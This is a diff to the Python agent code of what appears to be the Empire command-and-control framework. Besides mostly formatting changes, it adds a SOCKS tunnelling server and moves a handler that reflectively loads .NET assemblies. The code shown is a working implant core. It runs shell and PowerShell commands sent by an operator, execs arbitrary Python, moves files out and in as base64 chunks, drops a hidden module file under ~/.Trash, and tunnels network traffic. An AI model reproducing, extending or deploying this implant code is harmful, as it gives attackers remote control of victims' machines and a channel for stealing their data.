+ while remainingData and remainingData != "":
+ (
+ packetType,
+ totalPacket,
+ packetNum,
+ resultID,
+ length,
+ data,
+ remainingData,
+ ) = parse_task_packet(tasking, offset=packetOffset)
result = process_packet(packetType, data, resultID)
if result:
resultPackets += result
@@ -219,7 +257,6 @@ def process_tasking(data):
except Exception as e:
print(e)
- # print "processTasking exception:",e
pass
@@ -254,6 +291,7 @@ def process_packet(packetType, data, resultID):
agent_exit()
elif packetType == 34:
+ # TASK_SET_PROXY
proxy_list = json.loads(data)
update_proxychain(proxy_list)
@@ -266,7 +304,7 @@ def process_packet(packetType, data, resultID):
send_message(build_response_packet(40, resultData, resultID))
else:
cmd = parts[0]
- cmdargs = ' '.join(parts[1:len(parts)])
+ cmdargs = " ".join(parts[1 : len(parts)])
resultData = str(run_command(cmd, cmdargs=cmdargs))
send_message(build_response_packet(40, resultData, resultID))
@@ -275,7 +313,11 @@ def process_packet(packetType, data, resultID):
objPath = os.path.abspath(data)
fileList = []
if not os.path.exists(objPath):
- send_message(build_response_packet(40, "file does not exist or cannot be accessed", resultID))
+ send_message(
+ build_response_packet(
+ 40, "file does not exist or cannot be accessed", resultID
+ )
+ )
if not os.path.isdir(objPath):
fileList.append(objPath)
@@ -300,18 +342,20 @@ def process_packet(packetType, data, resultID):
start_crc32 = c.crc32_data(encodedPart)
comp_data = c.comp_data(encodedPart)
encodedPart = c.build_header(comp_data, start_crc32)
- encodedPart = base64.b64encode(encodedPart).decode('UTF-8')
+ encodedPart = base64.b64encode(encodedPart).decode("UTF-8")
partData = "%s|%s|%s|%s" % (partIndex, filePath, size, encodedPart)
- if not encodedPart or encodedPart == '' or len(encodedPart) == 16:
+ if not encodedPart or encodedPart == "" or len(encodedPart) == 16:
break
send_message(build_response_packet(41, partData, resultID))
global delay
global jitter
- if jitter < 0: jitter = -jitter
- if jitter > 1: jitter = old_div(1, jitter)
+ if jitter < 0:
+ jitter = -jitter
+ if jitter > 1:
+ jitter = old_div(1, jitter)
minSleep = int((1.0 - jitter) * delay)
maxSleep = int((1.0 + jitter) * delay)
@@ -327,76 +371,226 @@ def process_packet(packetType, data, resultID):
filePath = parts[0]
base64part = parts[1]
raw = base64.b64decode(base64part)
- with open(filePath, 'ab') as f:
+ with open(filePath, "ab") as f:
f.write(raw)
- send_message(build_response_packet(42, "[*] Upload of %s successful" % (filePath), resultID))
+ send_message(
+ build_response_packet(
+ 42, "[*] Upload of %s successful" % (filePath), resultID
+ )
+ )
except Exception as e:
- send_message(build_response_packet(0, "[!] Error in writing file %s during upload: %s" % (filePath, str(e)), resultID))
+ send_message(
+ build_response_packet(
+ 0,
+ "[!] Error in writing file %s during upload: %s"
+ % (filePath, str(e)),
+ resultID,
+ )
+ )
elif packetType == 43:
# directory list
cmdargs = data
- path = '/' # default to root
- if cmdargs is not None and cmdargs != '' and cmdargs != '/': # strip trailing slash for uniformity
- path = cmdargs.rstrip('/')
- if path[0] != '/': # always scan relative to root for uniformity
- path = '/{0}'.format(path)
+ path = "/" # default to root
+ if (
+ cmdargs is not None and cmdargs != "" and cmdargs != "/"
+ ): # strip trailing slash for uniformity
+ path = cmdargs.rstrip("/")
+ if path[0] != "/": # always scan relative to root for uniformity
+ path = "/{0}".format(path)
if not os.path.isdir(path):
- send_message(build_response_packet(43, 'Directory {} not found.'.format(path), resultID))
+ send_message(
+ build_response_packet(
+ 43, "Directory {} not found.".format(path), resultID
+ )
+ )
items = []
with os.scandir(path) as it:
for entry in it:
- items.append({'path': entry.path, 'name': entry.name, 'is_file': entry.is_file()})
-
- result_data = json.dumps({
- 'directory_name': path if len(path) == 1 else path.split('/')[-1],
- 'directory_path': path,
- 'items': items
- })
+ items.append(
+ {"path": entry.path, "name": entry.name, "is_file": entry.is_file()}
+ )
+
+ result_data = json.dumps(
+ {
+ "directory_name": path if len(path) == 1 else path.split("/")[-1],
+ "directory_path": path,
+ "items": items,
+ }
+ )
send_message(build_response_packet(43, result_data, resultID))
+ elif packetType == 44:
+ # run csharp module in ironpython using reflection
+ # todo: make this a job a thread to be trackable
+ try:
+ import zlib
+
+ import System.IO
+ from System import Array, Byte, Char, Console, Object, String, Text
+ from System.IO import Compression, MemoryStream, StreamWriter
+ from System.Reflection import Assembly
+ from System.Text import Encoding
+
+ parts = data.split(",")
+ params = parts[1 : len(parts)]
+ data_bytes = base64.b64decode(parts[0])
+
+ params = " ".join(params)
+ decoded_data = zlib.decompress(data_bytes, -15)
+ assemBytes = Array[Byte](decoded_data)
+ assembly = Assembly.Load(assemBytes)
+
+ strmprop = assembly.GetType("Task").GetProperty("OutputStream")
+ if not strmprop:
+ print("no output pipe")
+ results = (
+ assembly.GetType("Task").GetMethod("Execute").Invoke(None, params)
+ )
+ result_packet = build_response_packet(110, str(results), resultID)
+ process_job_tasking(result_packet)
+
+ else:
+
+ def csharp_job_func(decoded_data, params, pipeClientStream):
+ assemBytes = Array[Byte](decoded_data)
+ assembly = Assembly.Load(assemBytes)
+
+ strmprop = assembly.GetType("Task").GetProperty("OutputStream")
+ strmprop.SetValue(None, pipeClientStream, None)
+ assembly.GetType("Task").GetMethod("Execute").Invoke(
+ None, Array[Object]({params})
+ )
+ pipeClientStream.Dispose()
+
+ print("output pipe")
+ clr.AddReference("System.Core")
+ import System.IO.HandleInheritability
+ import System.IO.Pipes
+
+ pipeServerStream = System.IO.Pipes.AnonymousPipeServerStream(
+ System.IO.Pipes.PipeDirection.In,
+ System.IO.HandleInheritability.Inheritable,
+ )
+ pipeClientStream = System.IO.Pipes.AnonymousPipeClientStream(
+ System.IO.Pipes.PipeDirection.Out,
+ pipeServerStream.GetClientHandleAsString(),
+ )
+ streamReader = System.IO.StreamReader(pipeServerStream)
+
+ task_thread = KThread(
+ target=csharp_job_func,
+ args=(
+ decoded_data,
+ params,
+ pipeClientStream,
+ ),
+ )
+
+ pipeOutput = Text.StringBuilder()
+ read = Array[Char](pipeServerStream.InBufferSize)
+
+ task_thread.start()
+ count = 1
+ while count > 0:
+ time.sleep(1)
+ count = streamReader.Read(read, 0, read.Length)
+ stream_text = read[0:count]
+ pipeOutput.Append(stream_text)
+
+ result_packet = build_response_packet(110, str(pipeOutput), resultID)
+ process_job_tasking(result_packet)
+
+ except Exception as e:
+ send_message(
+ build_response_packet(
+ 0, "error executing specified Python data %s " % (e), resultID
+ )
+ )
+
elif packetType == 50:
# return the currently running jobs
- msg = ""
- if len(jobs) == 0:
- msg = "No active jobs"
- else:
- msg = "Active jobs:\n"
- for x in range(len(jobs)):
- msg += "\t%s" % (x)
+ msg = "Active jobs:\n"
+
+ for key in jobs:
+ msg += "Task %s" % key
send_message(build_response_packet(50, msg, resultID))
elif packetType == 51:
# stop and remove a specified job if it's running
try:
- # Calling join first seems to hang
- # result = jobs[int(data)].join()
- send_message(build_response_packet(0, "[*] Attempting to stop job thread", resultID))
- result = jobs[int(data)].kill()
- send_message(build_response_packet(0, "[*] Job thread stoped!", resultID))
- jobs[int(data)]._Thread__stop()
+ jobs[int(data)].kill()
jobs.pop(int(data))
- if result and result != "":
- send_message(build_response_packet(51, result, resultID))
- except:
- return build_response_packet(0, "error stopping job: %s" % (data), resultID)
+ send_message(
+ build_response_packet(
+ 51, "[+] Job thread %s stopped successfully" % (data), resultID
+ )
+ )
+ except Exception as e:
+ send_message(
+ build_response_packet(
+ 51, "[!] Error stopping job thread: %s" % (e), resultID
+ )
+ )
+
+ elif packetType == 60:
+ global _socksthread
+ global _socksqueue
+
+ # Create a server object in its own thread
+ if not _socksthread:
+ try:
+ _socksqueue = Queue.Queue()
+ jobs[resultID] = KThread(
+ target=Server,
+ args=(
+ _socksqueue,
+ resultID,
+ ),
+ )
+ jobs[resultID].daemon = True
+ jobs[resultID].start()
+ _socksthread = True
+ send_message(
+ build_response_packet(
+ 60, "[+] SOCKS server successfully started", resultID
+ )
+ )
+ except:
+ _socksthread = False
+ send_message(
+ build_response_packet(
+ 60, "[!] SOCKS server failed to start", resultID
+ )
+ )
+ else:
+ send_message(
+ build_response_packet(60, "[!] SOCKS server already running", resultID)
+ )
+
+ elif packetType == 61:
+ _socksqueue.put(base64.b64decode(data.encode("UTF-8")))
elif packetType == 100:
- # dynamic code execution, wait for output, don't save outputPicl
+ # dynamic code execution, wait for output, don't save output
try:
buffer = StringIO()
sys.stdout = buffer
- code_obj = compile(data, '', 'exec')
+ code_obj = compile(data, "", "exec")
exec(code_obj, globals())
sys.stdout = sys.__stdout__
results = buffer.getvalue()
send_message(build_response_packet(100, str(results), resultID))
except Exception as e:
errorData = str(buffer.getvalue())
- return build_response_packet(0, "error executing specified Python data: %s \nBuffer data recovered:\n%s" % (
- e, errorData), resultID)
+ return build_response_packet(
+ 0,
+ "error executing specified Python data: %s \nBuffer data recovered:\n%s"
+ % (e, errorData),
+ resultID,
+ )
elif packetType == 101:
# dynamic code execution, wait for output, save output
@@ -406,37 +600,51 @@ def process_packet(packetType, data, resultID):
try:
buffer = StringIO()
sys.stdout = buffer
- code_obj = compile(data, '', 'exec')
+ code_obj = compile(data, "", "exec")
exec(code_obj, globals())
sys.stdout = sys.__stdout__
- results = buffer.getvalue().encode('latin-1')
+ results = buffer.getvalue().encode("latin-1")
c = compress()
start_crc32 = c.crc32_data(results)
comp_data = c.comp_data(results)
encodedPart = c.build_header(comp_data, start_crc32)
- encodedPart = base64.b64encode(encodedPart).decode('UTF-8')
+ encodedPart = base64.b64encode(encodedPart).decode("UTF-8")
send_message(
- build_response_packet(101, '{0: <15}'.format(prefix) + '{0: <5}'.format(extension) + encodedPart,
- resultID))
+ build_response_packet(
+ 101,
+ "{0: <15}".format(prefix)
+ + "{0: <5}".format(extension)
+ + encodedPart,
+ resultID,
+ )
+ )
except Exception as e:
# Also return partial code that has been executed
errorData = buffer.getvalue()
- send_message(build_response_packet(0,
- "error executing specified Python data %s \nBuffer data recovered:\n%s" % (
- e, errorData), resultID))
+ send_message(
+ build_response_packet(
+ 0,
+ "error executing specified Python data %s \nBuffer data recovered:\n%s"
+ % (e, errorData),
+ resultID,
+ )
+ )
elif packetType == 102:
# on disk code execution for modules that require multiprocessing not supported by exec
+ # todo: is this used?
try:
- implantHome = expanduser("~") + '/.Trash/'
+ implantHome = expanduser("~") + "/.Trash/"
moduleName = ".mac-debug-data"
implantPath = implantHome + moduleName
result = "[*] Module disk path: %s \n" % (implantPath)
- with open(implantPath, 'w') as f:
+ with open(implantPath, "w") as f:
f.write(data)
result += "[*] Module properly dropped to disk \n"
pythonCommand = "python %s" % (implantPath)
- process = subprocess.Popen(pythonCommand, stdout=subprocess.PIPE, shell=True)
+ process = subprocess.Popen(
+ pythonCommand, stdout=subprocess.PIPE, shell=True
+ )
data = process.communicate()
result += data[0].strip()
try:
@@ -446,15 +654,26 @@ def process_packet(packetType, data, resultID):
print("error removing module filed: %s" % (e))
fileCheck = os.path.isfile(implantPath)
if fileCheck:
- result += "\n\nError removing module file, please verify path: " + str(implantPath)
+ result += "\n\nError removing module file, please verify path: " + str(
+ implantPath
+ )
send_message(build_response_packet(100, str(result), resultID))
except Exception as e:
fileCheck = os.path.isfile(implantPath)
if fileCheck:
- send_message(build_response_packet(0,
- "error executing specified Python data: %s \nError removing module file, please verify path: %s" % (
- e, implantPath), resultID))
- send_message(build_response_packet(0, "error executing specified Python data: %s" % (e), resultID))
+ send_message(
+ build_response_packet(
+ 0,
+ "error executing specified Python data: %s \nError removing module file, please verify path: %s"
+ % (e, implantPath),
+ resultID,
+ )
+ )
+ send_message(
+ build_response_packet(
+ 0, "error executing specified Python data: %s" % (e), resultID
+ )
+ )
elif packetType == 110:
start_job(data, resultID)
@@ -464,8 +683,9 @@ def process_packet(packetType, data, resultID):
pass
elif packetType == 112:
+ import sys
data = data.lstrip("\x00")
-
+ # todo: make this a job a thread to be trackable
# powershell task
myrunspace = Runspaces.RunspaceFactory.CreateRunspace()
myrunspace.Open()
@@ -481,7 +701,7 @@ def process_packet(packetType, data, resultID):
process_job_tasking(result_packet)
elif packetType == 118:
- # dynamic code execution, wait for output, don't save output
+ # PowerShel Task - dynamic code execution, wait for output, don't save output
try:
data = data.lstrip("\x00")
@@ -490,7 +710,7 @@ def process_packet(packetType, data, resultID):
myrunspace.Open()
pipeline = myrunspace.CreatePipeline()
pipeline.Commands.AddScript(data)
- pipeline.Commands.Add('Out-String')
+ pipeline.Commands.Add("Out-String")
results = pipeline.Invoke()
for result in results:
@@ -501,115 +721,75 @@ def process_packet(packetType, data, resultID):
except Exception as e:
print(e)
- send_message(build_response_packet(0, "error executing specified Python data %s " % (e), resultID))
+ send_message(
+ build_response_packet(
+ 0, "error executing specified Python data %s " % (e), resultID
+ )
+ )
elif packetType == 119:
pass
- elif packetType == 44:
- # run csharp module in ironpython using reflection
- try:
- import zlib
-
- import System.IO
- from System import Array, Byte, Char, Console, Object, String, Text
- from System.IO import Compression, MemoryStream, StreamWriter
- from System.Reflection import Assembly
- from System.Text import Encoding
-
- parts = data.split(',')
- params = parts[1:len(parts)]
- data_bytes = base64.b64decode(parts[0])
-
- params = ' '.join(params)
- decoded_data = zlib.decompress(data_bytes, -15)
- assemBytes = Array[Byte](decoded_data)
- assembly = Assembly.Load(assemBytes)
-
- strmprop = assembly.GetType("Task").GetProperty("OutputStream")
- if not strmprop:
- print("no output pipe")
- results = assembly.GetType('Task').GetMethod('Execute').Invoke(None, params)
- result_packet = build_response_packet(110, str(results), resultID)
- process_job_tasking(result_packet)
-
- else:
- def csharp_job_func(decoded_data, params, pipeClientStream):
- assemBytes = Array[Byte](decoded_data)
- assembly = Assembly.Load(assemBytes)
-
- strmprop = assembly.GetType("Task").GetProperty("OutputStream")
- strmprop.SetValue(None, pipeClientStream, None)
- assembly.GetType("Task").GetMethod("Execute").Invoke(None, Array[Object]({params}))
- pipeClientStream.Dispose()
-
- print('output pipe')
- clr.AddReference('System.Core')
- import System.IO.HandleInheritability
- import System.IO.Pipes
-
- pipeServerStream = System.IO.Pipes.AnonymousPipeServerStream(System.IO.Pipes.PipeDirection.In, System.IO.HandleInheritability.Inheritable)
- pipeClientStream = System.IO.Pipes.AnonymousPipeClientStream(System.IO.Pipes.PipeDirection.Out, pipeServerStream.GetClientHandleAsString())
- streamReader = System.IO.StreamReader(pipeServerStream)
-
- task_thread = KThread(target=csharp_job_func, args=(decoded_data, params, pipeClientStream,))
-
- pipeOutput = Text.StringBuilder()
- read = Array[Char](pipeServerStream.InBufferSize)
-
- task_thread.start()
- count = 1
- while count > 0:
- time.sleep(1)
- count = streamReader.Read(read, 0, read.Length)
- stream_text = read[0:count]
- pipeOutput.Append(stream_text)
-
- result_packet = build_response_packet(110, str(pipeOutput), resultID)
- process_job_tasking(result_packet)
-
- except Exception as e:
- send_message(build_response_packet(0, "error executing specified Python data %s " % (e), resultID))
-
elif packetType == 121:
# base64 decode the script and execute
script = base64.b64decode(data)
try:
buffer = StringIO()
sys.stdout = buffer
- code_obj = compile(script, '', 'exec')
+ code_obj = compile(script, "", "exec")
exec(code_obj, globals())
sys.stdout = sys.__stdout__
result = str(buffer.getvalue())
send_message(build_response_packet(121, result, resultID))
except Exception as e:
errorData = str(buffer.getvalue())
- send_message(build_response_packet(0,
- "error executing specified Python data %s \nBuffer data recovered:\n%s" % (
- e, errorData), resultID))
+ send_message(
+ build_response_packet(
+ 0,
+ "error executing specified Python data %s \nBuffer data recovered:\n%s"
+ % (e, errorData),
+ resultID,
+ )
+ )
elif packetType == 122:
# base64 decode and decompress the data
try:
- parts = data.split('|')
+ parts = data.split("|")
base64part = parts[1]
fileName = parts[0]
raw = base64.b64decode(base64part)
d = decompress()
dec_data = d.dec_data(raw, cheader=True)
- if not dec_data['crc32_check']:
- send_message(build_response_packet(122, "Failed crc32_check during decompression", resultID))
+ if not dec_data["crc32_check"]:
+ send_message(
+ build_response_packet(
+ 122, "Failed crc32_check during decompression", resultID
+ )
+ )
except Exception as e:
- send_message(build_response_packet(122, "Unable to decompress zip file: %s" % (e), resultID))
+ send_message(
+ build_response_packet(
+ 122, "Unable to decompress zip file: %s" % (e), resultID
+ )
+ )
- zdata = dec_data['data']
+ zdata = dec_data["data"]
zf = zipfile.ZipFile(io.BytesIO(zdata), "r")
if fileName in list(moduleRepo.keys()):
- send_message(build_response_packet(122, "%s module already exists" % (fileName), resultID))
+ send_message(
+ build_response_packet(
+ 122, "%s module already exists" % (fileName), resultID
+ )
+ )
else:
moduleRepo[fileName] = zf
install_hook(fileName)
- send_message(build_response_packet(122, "Successfully imported %s" % (fileName), resultID))
+ send_message(
+ build_response_packet(
+ 122, "Successfully imported %s" % (fileName), resultID
+ )
+ )
elif packetType == 123:
# view loaded modules
@@ -618,13 +798,13 @@ def csharp_job_func(decoded_data, params, pipeClientStream):
loadedModules = "\nAll Repos\n"
for key, value in list(moduleRepo.items()):
loadedModules += "\n----" + key + "----\n"
- loadedModules += '\n'.join(moduleRepo[key].namelist())
+ loadedModules += "\n".join(moduleRepo[key].namelist())
send_message(build_response_packet(123, loadedModules, resultID))
else:
try:
loadedModules = "\n----" + repoName + "----\n"
- loadedModules += '\n'.join(moduleRepo[repoName].namelist())
+ loadedModules += "\n".join(moduleRepo[repoName].namelist())
send_message(build_response_packet(123, loadedModules, resultID))
except Exception as e:
msg = "Unable to retrieve repo contents: %s" % (str(e))
@@ -636,12 +816,38 @@ def csharp_job_func(decoded_data, params, pipeClientStream):
try:
remove_hook(repoName)
del moduleRepo[repoName]
- send_message(build_response_packet(124, "Successfully remove repo: %s" % (repoName), resultID))
+ send_message(
+ build_response_packet(
+ 124, "Successfully remove repo: %s" % (repoName), resultID
+ )
+ )
except Exception as e:
- send_message(build_response_packet(124, "Unable to remove repo: %s, %s" % (repoName, str(e)), resultID))
+ send_message(
+ build_response_packet(
+ 124, "Unable to remove repo: %s, %s" % (repoName, str(e)), resultID
+ )
+ )
+
+ elif packetType == 130:
+ # Dynamically update agent comms
+ send_message(
+ build_response_packet(
+ 60, "[!] Switch agent comms not implemented", resultID
+ )
+ )
+
+ elif packetType == 131:
+ # Update the listener name variable
+ send_message(
+ build_response_packet(
+ 60, "[!] Switch agent comms not implemented", resultID
+ )
+ )
else:
- send_message(build_response_packet(0, "invalid tasking ID: %s" % (taskingID), resultID))
+ send_message(
+ build_response_packet(0, "invalid tasking ID: %s" % (packetType), resultID)
+ )
def old_div(a, b):
@@ -664,16 +870,19 @@ def old_div(a, b):
# [0] = .py ext, is_package = False
# [1] = /__init__.py ext, is_package = True
-_search_order = [('.py', False), ('/__init__.py', True)]
+_search_order = [(".py", False), ("/__init__.py", True)]
+
class ZipImportError(ImportError):
"""Exception raised by zipimporter objects."""
+
pass
# _get_info() = takes the fullname, then subpackage name (if applicable),
# and searches for the respective module or package
+
class CFinder(object):
"""Import Hook for Empire"""
@@ -682,9 +891,9 @@ def __init__(self, repoName):
def _get_info(self, repoName, fullname):
"""Search for the respective package or module in the zipfile object"""
- parts = fullname.split('.')
+ parts = fullname.split(".")
submodule = parts[-1]
- modulepath = '/'.join(parts)
+ modulepath = "/".join(parts)
# check to see if that specific module exists
for suffix, is_package in _search_order:
@@ -697,16 +906,16 @@ def _get_info(self, repoName, fullname):
return submodule, is_package, relpath
# Error out if we can find the module/package
- msg = ('Unable to locate module %s in the %s repo' % (submodule, repoName))
+ msg = "Unable to locate module %s in the %s repo" % (submodule, repoName)
raise ZipImportError(msg)
def _get_source(self, repoName, fullname):
"""Get the source code for the requested module"""
submodule, is_package, relpath = self._get_info(repoName, fullname)
- fullpath = '%s/%s' % (repoName, relpath)
+ fullpath = "%s/%s" % (repoName, relpath)
source = moduleRepo[repoName].read(relpath)
- source = source.replace('\r\n', '\n')
- source = source.replace('\r', '\n')
+ source = source.replace("\r\n", "\n")
+ source = source.replace("\r", "\n")
return submodule, is_package, fullpath, source
def find_module(self, fullname, path=None):
@@ -719,8 +928,10 @@ def find_module(self, fullname, path=None):
return self
def load_module(self, fullname):
- submodule, is_package, fullpath, source = self._get_source(self.repoName, fullname)
- code = compile(source, fullpath, 'exec')
+ submodule, is_package, fullpath, source = self._get_source(
+ self.repoName, fullname
+ )
+ code = compile(source, fullpath, "exec")
mod = sys.modules.setdefault(fullname, types.ModuleType(fullname))
mod.__loader__ = self
mod.__file__ = fullpath
@@ -732,14 +943,16 @@ def load_module(self, fullname):
def get_data(self, fullpath):
- prefix = os.path.join(self.repoName, '')
+ prefix = os.path.join(self.repoName, "")
if not fullpath.startswith(prefix):
- raise IOError('Path %r does not start with module name %r', (fullpath, prefix))
- relpath = fullpath[len(prefix):]
+ raise IOError(
+ "Path %r does not start with module name %r", (fullpath, prefix)
+ )
+ relpath = fullpath[len(prefix) :]
try:
return moduleRepo[self.repoName].read(relpath)
except KeyError:
- raise IOError('Path %r not found in repo %r' % (relpath, self.repoName))
+ raise IOError("Path %r not found in repo %r" % (relpath, self.repoName))
def is_package(self, fullname):
"""Return if the module is a package"""
@@ -747,8 +960,10 @@ def is_package(self, fullname):
return is_package
def get_code(self, fullname):
- submodule, is_package, fullpath, source = self._get_source(self.repoName, fullname)
- return compile(source, fullpath, 'exec')
+ submodule, is_package, fullpath, source = self._get_source(
+ self.repoName, fullname
+ )
+ return compile(source, fullpath, "exec")
def install_hook(repoName):
if repoName not in _meta_cache:
@@ -762,16 +977,57 @@ def remove_hook(repoName):
sys.meta_path.remove(finder)
+################################################
+#
+# Socks Server
+#
+################################################
+class Server(secretsocks.Server):
+ # Initialize our data channel
+ def __init__(self, q, resultID):
+ secretsocks.Server.__init__(self)
+ self.queue = q
+ self.resultID = resultID
+ self.alive = True
+ self.start()
+
+ # Receive data from our data channel and push it to the receive queue
+ def recv(self):
+ while self.alive:
+ try:
+ data = self.queue.get()
+ self.recvbuf.put(data)
+ except socket.timeout:
+ continue
+ except:
+ self.alive = False
+
+ # Take data from the write queue and send it over our data channel
+ def write(self):
+ while self.alive:
+ try:
+ data = self.writebuf.get(timeout=10)
+ send_message(
+ build_response_packet(
+ 61, base64.b64encode(data).decode("UTF-8"), self.resultID
+ )
+ )
+ except Queue.Empty:
+ continue
+ except:
+ self.alive = False
+
+
################################################
#
# misc methods
#
################################################
class compress(object):
- '''
+ """
Base clase for init of the package. This will handle
the initial object creation for conducting basic functions.
- '''
+ """
CRC_HSIZE = 4
COMP_RATIO = 9
@@ -783,42 +1039,42 @@ def __init__(self, verbose=False):
pass
def comp_data(self, data, cvalue=COMP_RATIO):
- '''
+ """
Takes in a string and computes
the comp obj.
data = string wanting compression
cvalue = 0-9 comp value (default 6)
- '''
+ """
cdata = zlib.compress(data, cvalue)
return cdata
def crc32_data(self, data):
- '''
+ """
Takes in a string and computes crc32 value.
data = string before compression
returns:
HEX bytes of data
- '''
+ """
crc = zlib.crc32(data) & 0xFFFFFFFF
return crc
def build_header(self, data, crc):
- '''
+ """
Takes comp data, org crc32 value,
and adds self header.
data = comp data
crc = crc32 value
- '''
+ """
header = struct.pack("!I", crc)
built_data = header + data
return built_data
class decompress(object):
- '''
+ """
Base clase for init of the package. This will handle
the initial object creation for conducting basic functions.
- '''
+ """
CRC_HSIZE = 4
COMP_RATIO = 9
@@ -830,7 +1086,7 @@ def __init__(self, verbose=False):
pass
def dec_data(self, data, cheader=True):
- '''
+ """
Takes:
Custom / standard header data
data = comp data with zlib header
@@ -838,16 +1094,21 @@ def dec_data(self, data, cheader=True):
returns:
dict with crc32 cheack and dec data string
ex. {"crc32" : true, "dec_data" : "-SNIP-"}
- '''
+ """
if cheader:
- comp_crc32 = struct.unpack("!I", data[:self.CRC_HSIZE])[0]
- dec_data = zlib.decompress(data[self.CRC_HSIZE:])
+ comp_crc32 = struct.unpack("!I", data[: self.CRC_HSIZE])[0]
+ dec_data = zlib.decompress(data[self.CRC_HSIZE :])
dec_crc32 = zlib.crc32(dec_data) & 0xFFFFFFFF
if comp_crc32 == dec_crc32:
crc32 = True
else:
crc32 = False
- return {"header_crc32": comp_crc32, "dec_crc32": dec_crc32, "crc32_check": crc32, "data": dec_data}
+ return {
+ "header_crc32": comp_crc32,
+ "dec_crc32": dec_crc32,
+ "crc32_check": crc32,
+ "data": dec_data,
+ }
else:
dec_data = zlib.decompress(data)
return dec_data
@@ -858,7 +1119,7 @@ def agent_exit():
if len(jobs) > 0:
try:
for x in jobs:
- jobs[int(x)].kill()
+ jobs[x].kill()
jobs.pop(x)
except:
# die hard if thread kill fails
@@ -866,22 +1127,24 @@ def agent_exit():
sys.exit()
-def indent(lines, amount=4, ch=' '):
+def indent(lines, amount=4, ch=" "):
padding = amount * ch
- return padding + ('\n' + padding).join(lines.split('\n'))
+ return padding + ("\n" + padding).join(lines.split("\n"))
# from http://stackoverflow.com/questions/6893968/how-to-get-the-return-value-from-a-thread-in-python
class ThreadWithReturnValue(Thread):
- def __init__(self, group=None, target=None, name=None,
- args=(), kwargs={}, Verbose=None):
+ def __init__(
+ self, group=None, target=None, name=None, args=(), kwargs={}, Verbose=None
+ ):
Thread.__init__(self, group, target, name, args, kwargs, Verbose)
self._return = None
def run(self):
if self._Thread__target is not None:
- self._return = self._Thread__target(*self._Thread__args,
- **self._Thread__kwargs)
+ self._return = self._Thread__target(
+ *self._Thread__args, **self._Thread__kwargs
+ )
def join(self):
Thread.join(self)
@@ -890,7 +1153,7 @@ def join(self):
class KThread(threading.Thread):
"""A subclass of threading.Thread, with a kill()
- method."""
+ method."""
def __init__(self, *args, **keywords):
threading.Thread.__init__(self, *args, **keywords)
@@ -899,25 +1162,25 @@ def __init__(self, *args, **keywords):
def start(self):
"""Start the thread."""
self.__run_backup = self.run
- self.run = self.__run # Force the Thread toinstall our trace.
+ self.run = self.__run # Force the Thread to install our trace.
threading.Thread.start(self)
def __run(self):
"""Hacked run function, which installs the
- trace."""
+ trace."""
sys.settrace(self.globaltrace)
self.__run_backup()
self.run = self.__run_backup
def globaltrace(self, frame, why, arg):
- if why == 'call':
+ if why == "call":
return self.localtrace
else:
return None
def localtrace(self, frame, why, arg):
if self.killed:
- if why == 'line':
+ if why == "line":
raise SystemExit()
return self.localtrace
@@ -932,7 +1195,7 @@ def start_job(code, resultID):
codeBlock = "def method():\n" + indent(code[1:])
# register the code block
- code_obj = compile(codeBlock, '', 'exec')
+ code_obj = compile(codeBlock, "", "exec")
# code needs to be in the global listing
# not the locals() scope
exec(code_obj, globals())
@@ -942,7 +1205,7 @@ def start_job(code, resultID):
codeThread = KThread(target=job_func, args=(resultID,))
codeThread.start()
- jobs.append(codeThread)
+ jobs[resultID] = codeThread
def job_func(resultID):
@@ -961,6 +1224,7 @@ def job_func(resultID):
result = build_response_packet(0, p, resultID)
process_job_tasking(result)
+
def job_message_buffer(message):
# Supports job messages for checkin
global jobMessageBuffer
@@ -1018,7 +1282,7 @@ def log_message(s, format, *args):
server_class = http.server.HTTPServer
httpServer = server_class((hostName, portNumber), serverHandler)
try:
- while (count < serveCount):
+ while count < serveCount:
httpServer.handle_request()
count += 1
except:
@@ -1028,16 +1292,16 @@ def log_message(s, format, *args):
def permissions_to_unix_name(st_mode):
- permstr = ''
- usertypes = ['USR', 'GRP', 'OTH']
+ permstr = ""
+ usertypes = ["USR", "GRP", "OTH"]
for usertype in usertypes:
- perm_types = ['R', 'W', 'X']
+ perm_types = ["R", "W", "X"]
for permtype in perm_types:
- perm = getattr(stat, 'S_I%s%s' % (permtype, usertype))
+ perm = getattr(stat, "S_I%s%s" % (permtype, usertype))
if st_mode & perm:
permstr += permtype.lower()
else:
- permstr += '-'
+ permstr += "-"
return permstr
@@ -1060,10 +1324,10 @@ def directory_listing(path):
group = "Users"
# Convert file size to MB, KB or Bytes
- if (fstat.st_size > 1024 * 1024):
+ if fstat.st_size > 1024 * 1024:
fsize = math.ceil(old_div(fstat.st_size, (1024 * 1024)))
unit = "MB"
- elif (fstat.st_size > 1024):
+ elif fstat.st_size > 1024:
fsize = math.ceil(old_div(fstat.st_size, 1024))
unit = "KB"
else:
@@ -1072,7 +1336,9 @@ def directory_listing(path):
mtime = time.strftime("%X %x", time.gmtime(fstat.st_mtime))
- res += '{} {} {} {:18s} {:f} {:2s} {:15.15s}\n'.format(permstr, user, group, mtime, fsize, unit, fn)
+ res += "{} {} {} {:18s} {:f} {:2s} {:15.15s}\n".format(
+ permstr, user, group, mtime, fsize, unit, fn
+ )
return res
@@ -1081,7 +1347,7 @@ def directory_listing(path):
def run_command(command, cmdargs=None):
if re.compile("(ls|dir)").match(command):
if cmdargs == None or not os.path.exists(cmdargs):
- cmdargs = '.'
+ cmdargs = "."
return directory_listing(cmdargs)
if re.compile("cd").match(command):
@@ -1121,7 +1387,8 @@ def run_command(command, cmdargs=None):
myrunspace = Runspaces.RunspaceFactory.CreateRunspace()
myrunspace.Open()
pipeline = myrunspace.CreatePipeline()
- pipeline.Commands.AddScript("""
+ pipeline.Commands.AddScript(
+ """
$owners = @{}
Get-WmiObject win32_process | ForEach-Object {$o = $_.getowner(); if(-not $($o.User)) {$o='N/A'} else {$o="$($o.Domain)\$($o.User)"}; $owners[$_.handle] = $o}
$p = "*";
@@ -1148,7 +1415,8 @@ def run_command(command, cmdargs=None):
$out
} | Sort-Object -Property PID | ConvertTo-Json;
$output
- """)
+ """
+ )
results = pipeline.Invoke()
buffer = StringIO()
sys.stdout = buffer
@@ -1159,16 +1427,16 @@ def run_command(command, cmdargs=None):
return return_data
else:
if cmdargs is None:
- cmdargs = ''
+ cmdargs = ""
cmd = "{} {}".format(command, cmdargs)
return os.popen(cmd).read()
def get_file_part(filePath, offset=0, chunkSize=512000, base64=True):
if not os.path.exists(filePath):
- return ''
+ return ""
- f = open(filePath, 'rb')
+ f = open(filePath, "rb")
f.seek(offset, 0)
data = f.read(chunkSize)
f.close()
@@ -1184,11 +1452,11 @@ def get_file_part(filePath, offset=0, chunkSize=512000, base64=True):
#
################################################
